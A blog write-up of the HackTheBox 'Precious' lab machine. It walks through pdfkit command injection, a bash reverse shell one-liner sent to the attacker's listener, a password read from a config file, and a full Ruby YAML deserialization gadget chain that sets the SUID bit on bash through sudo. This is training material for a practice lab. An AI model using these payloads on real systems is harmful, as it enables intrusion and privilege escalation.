HackTheBox – Precious Write-up

Hi everyone! This article is on a Linux easy machine that requires enumerating the downloaded metadata of the PDF file from tbe website for foothold, enumerating directories for password to another user, and finally exploiting sudo privilege misconfiguration and Yaml.load Ruby deserialization for privilege escalation. Let’s get started!

1. Nmap

$ IP=
$ sudo nmap -sC -sV -p- $IP
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since we are able to obtain the hostname from Nmap result, we can modify our hosts file immediately.

sudo nano /etc/hosts

Your hosts file should look something like this:       localhost       kali    precious.htb

::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

2. Web enumeration & User flag

2.1 Discover Pdfkit vulnerability

To test the functionality, I hosted my own HTTP server using Python.

sudo python3 -m http.server 80

Next, I input the URL of my machine’s HTTP server. Remember to change the IP to your machine’s IP address.

After downloading the PDF, I inspected the metadata of the PDF and was able to see that the victim’s webserver uses pdfkit v0.8.6 to convert the web response to a PDF file.

$ exiftool 6x0ywq3t4zjpmuosof05h7rlnwrv7pma.pdf 
ExifTool Version Number         : 12.44
File Name                       : 6x0ywq3t4zjpmuosof05h7rlnwrv7pma.pdf
Directory                       : .
File Size                       : 30 kB
File Modification Date/Time     : 2023:04:02 23:06:36-04:00
File Access Date/Time           : 2023:04:02 23:06:36-04:00
File Inode Change Date/Time     : 2023:04:02 23:06:38-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

A quick Google allows me to find a blog post by Synk showing that below pdfkit v0.8.7.2 is vulnerable to command inject. As a result, I gave it a test by running the id command and was able to obtain the response of the id command as shown in the red box.`id`

2.2 Getting a reverse shell

Since we are able to do a command injection, we can use it to obtain a reverse shell. Firstly, we have to start a Netcat listener in our terminal.

nc -lvnp 8080

Next, input the statement below in the website search bar. Remember to change the IP to your machine’s IP address.`/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'`

We should receive a reverse shell on our Netcat. We can then change it to tty.

$ nc -lvnp 8080
listening on [any] 8080 ...
connect to [] from (UNKNOWN) [] 50470
bash: cannot set terminal process group (677): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<pp$ python3 -c 'import pty; pty.spawn("/bin/bash")'

2.3 Pivot to Henry user & user flag

As I enumerate the HOME directory, I found out that there is another user. I tried to enumerate ruby’s home directory and found there is an non-default directory called .bundle. A quick enumeration on the folder allows us to discover Henry’s password.

ruby@precious:/var/www/pdfapp$ ls /home
ls /home
henry  ruby
ruby@precious:/var/www/pdfapp$ cd ~
cd ~
ruby@precious:~$ ls -al
ls -al
total 28
drwxr-xr-x 4 ruby ruby 4096 Apr  3 02:17 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Apr  3 01:18 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
ruby@precious:~$ cd .bundle
cd .bundle
ruby@precious:~/.bundle$ ls -al
ls -al
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 4 ruby ruby 4096 Apr  3 02:17 ..
-r-xr-xr-x 1 root ruby   62 Sep 26  2022 config
ruby@precious:~/.bundle$ cd config
cd config
bash: cd: config: Not a directory
ruby@precious:~/.bundle$ cat config
cat config

Since we have Henry’s password, we can SSH into Henry’s account from our terminal and obtain the flag.

$ ssh henry@$IP
henry@'s password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr  3 02:33:35 2023 from
-bash-5.1$ ls
-bash-5.1$ cat user.txt

3. Privilege escalation

3.1 Sudo privilege

Using sudo -l, I was able to see that this is likely to be the intended up to privilege escalate.

-bash-5.1$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

3.2 Ruby deserialization

If we check out /opt/update_dependencies.rb permission, we will see that only root is able to write to it. However, since we can read it, we can check out its content. When looking at its content, we can see something interesting which is YAML.load(File.read("dependencies.yml")).

-bash-5.1$ ls -l /opt/update_dependencies.rb
-rwxr-xr-x 1 root root 848 Sep 25  2022 /opt/update_dependencies.rb
-bash-5.1$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()

def list_from_file

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
                puts "Installed version is equals to the one specified in file: " + local_name

The github repo by PayloadsAllThings has a good article and proof-of-concept on how to exploit it. As there are two versions, I checked the Ruby version on the victim’s machine and discovered it to be ruby 2.7.4p191.

-bash-5.1$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

Thus, I created a dependencies.yml in Henry’s home directory and set the command execution to set /bin/bash as shown below (chmod u+s /bin/bash).


- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod u+s /bin/bash
         method_id: :resolve

Finally, we can execute update_dependencies.rb as sudo, execute /bin/bash as root and obtain the flag.

-bash-5.1$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
-bash-5.1$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash
-bash-5.1$ bash -p
bash-5.1# whoami
bash-5.1# cd /root
bash-5.1# ls
bash-5.1# cat root.txt

I hope these tabs have been helpful to you. Feel free to leave any comments below. If you like my content, do follow me via email. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂


Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.